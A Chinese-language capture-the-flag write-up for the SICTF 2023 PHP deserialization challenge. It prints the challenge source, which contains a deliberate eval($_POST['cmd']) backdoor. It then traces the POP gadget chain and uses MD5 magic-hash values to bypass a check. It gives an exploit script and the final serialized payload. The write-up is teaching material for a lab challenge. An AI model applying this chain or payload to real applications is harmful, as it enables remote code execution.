[SICTF 2023]我全都要

Oyst3r 于 2023-11-02 发布

(这道题还是一个关于 PHP 的一道反序列化题目,不懂这块的还是先去看看这篇文章–正 OR 反序列化)

1.dd 给大家看这道题的源代码

<?php
highlight_file(__FILE__);

class B{
    public $pop;
    public $i;
    public $nogame;

    public function __destruct()
    {
        if(preg_match("/233333333/",$this->pop)){
            echo "这是一道签到题,不能让新生一直做不出来遭受打击";
        }
    }

    public function game(){
        echo "扣1送地狱火";
        if ($this->i = "1"){
            echo '<img src=\'R.jpg\'>';
            $this->nogame->love();
        }
    }

    public function __clone(){
        echo "必须执行";
        eval($_POST["cmd"]);
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
        echo "I also want to fall in love";
        if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
            $this->Aec->game();
        }
    }


}


class P{
    public $MyLover;
    public function __call($name, $arguments)
    {
        echo "有对象我会在这打CTF???看我克隆一个对象!";
        if ($name != "game") {
            echo "打游戏去,别想着对象了";
            $this->MyLover = clone new B;
        }
    }

}

if ($_GET["A_B_C"]){
    $poc=$_GET["A_B_C"];
    unserialize($poc);
}

简单做个分析,还是先找危险函数很显然就是这个 B 类里面的__clone(),这个往前推就是 P.__call(),因为要执行这个__call 的函数,就是要找到一个不存在该类中的方法,很显然就是 B.game(),而调用此方法的话就会用到 A.__toString(),再往前推就是 B.__destruct()了

2.然后有个同届的人问我,在从正则到 tostring 这一步,最正常的写法应该就是’‘$a->pop=$b;’‘,但能不能写成’‘$a->i=$b;’‘然后”$a->pop=$a->i”呢?但我给大家画张图,你们应该就明白了

现在应该是这个样子的,他想如果把 pop 再等于$a的话,pop是不是就相当于是包含i了,进一步的话,也是包含$b 的,但你看图,如果 pop 再等于$a的话,大家可能想的是应该就是在pop这个小格子里面继续去分,但其实并不是这样的,就是实实在在的pop完全包含了$a,可能这里有点抽象,它们之间的关系就是一种你包含我,我也包含你的互相包含的关系,下面我也自己写了一个例子

<?php
class Person{
    public $name;
    public $sex;
    public function __destruct()
    {
            echo "我觉得我还可以再抢救一下,我的名字叫".$this->name;
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
            echo "I also want to fall in love";
    }


}

$a = new Person();
$b = new A();
$a->sex = $b;
$a->name = $a->sex;
unset($a);
?>

你看,这样也是能正常输出的

3.诶呀诶呀跑偏了,具体的再那篇文章–正 XOR 反序列化再说吧,然后这道题的 pop 链就是

B.__destruct() --> A.__toString() --> B.game() --> P.__call() --> B.__clone()

根据这个还是很容易就能写出 exp 的

<?php
class B{
    public $pop='233333333';
    public $i="1";
    public $nogame;
}

class A{
    public $Aec;
    public $girl='QNKCDZO';
    public $boy='240610708';
}

class P{
    public $MyLover;
}
$a=new B();
$b=new A();
$c=new P();
$a->pop=$b;
$b->Aec=$a;
$b->Aec->nogame=$c;
echo serialize($a);
?>

得到结果

O:1:"B":3:{s:3:"pop";O:1:"A":3:{s:3:"Aec";r:1;s:4:"girl";s:7:"QNKCDZO";s:3:"boy";s:9:"240610708";}s:1:"i";s:1:"1";s:6:"nogame";O:1:"P":1:{s:7:"MyLover";N;}}

得到 flag

Finish!!!